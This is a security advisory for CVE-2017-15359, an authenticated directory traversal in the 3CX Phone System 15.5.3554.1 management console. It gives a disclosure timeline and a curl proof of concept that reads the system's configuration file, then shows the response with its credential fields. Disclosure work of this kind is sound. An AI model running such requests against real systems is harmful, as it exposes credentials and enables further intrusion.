3CX Phone System version 15.5.3554.1 suffers from an authentication directory traversal vulnerability.
cb8441731c281734813f4bef268b3e660c081b462aef261d1518f5370b639c0c
Title:
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3CX Phone System - Authenticated Directory Traversal
Author:
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Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG
CVE-ID:
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CVE-2017-15359
Risk Information:
=================
CVSS Base Score: 6.8
CVSS Vector: CVSS3#AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Timeline:
=========
2017-08-08 Vulnerability discovered
2017-08-10 Asked for security contact
2017-08-11 Send details to the vendor
2017-09-04 Vendor has confirmed the vulnerability, will be fixed in the next release
2017-10-16 Public disclosure
Affected Products:
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3CX Phone System 15.5.3554.1 (Debian based installation)
Vendor Homepage:
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https://www.3cx.com/phone-system/download-links/
Details:
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In the 3CX Phone System 15.5.3554.1, the Management Console typically listens to port 5001 and is prone to a directory traversal attack:
"/api/RecordingList/DownloadRecord?file=" and "/api/SupportInfo?file=" are the vulnerable parameters. An attacker must be authenticated to exploit
this issue to access sensitive information to aid in subsequent attacks.
The vulnerabilities were found during a penetration test.
Proof of Concept:
=================
~$ curl -i -k --cookie ".AspNetCore.Cookies=CfDJ8PTIw(...)" https://192.168.0.1:5001/api/SupportInfo?file=/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Aug 2017 13:05:16 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-3CX-Version: 15.5.3554.1
Content-Disposition: attachment; filename="/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini"; filename*=UTF-8''%2Fvar%2Flib%2F3cxpbx%2FInstance1%2FBin%2F3CXPhoneSystem.ini
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15768000
[General]
;connection point to call manager
;used by:
;a) call manager initializes own listener before it connects to configuration server.
;b) components which are working directly with call manager
;MUST NOT be used by components which make connection to configuration server.
;They MUST use CM_API_IP, CM_API_PORT, CM_API_USER and CM_API_PASSWORD paramaeters to make direct connection to CallManagerAPI
pbxSLNIC=127.0.0.1
cmPort=5482
pbxuser=instance_Instance158792
pbxpass=REMOVED
AppPath=/var/lib/3cxpbx/Instance1
AppDataPath=/var/lib/3cxpbx/Instance1
Tenant=Instance1
[ConfService]
;connection point to configuration server for components
confNIC=127.0.0.1
ConfPort=5485
confUser=cfguser_default
confPass=REMOVED
[CfgServerProfile]
;configuration server connection to database
;exclusively used by configuration server
DBHost=127.0.0.1
DBPort=5432
MasterDBUser=phonesystem
MasterDBPassword=REMOVED
MasterTable=phonesystem_mastertable
DefFile=Objects.cls
[QMDatabase]
DBHost=127.0.0.1
DBPort=5432
DBName=database_single
dbUser=logsreader_single
dbPassword=REMOVED
[MIME_TYPES]
MESSAGE=x-chat/control
Fix:
====
Vendor has confirmed the vulnerability, will be fixed in the next release.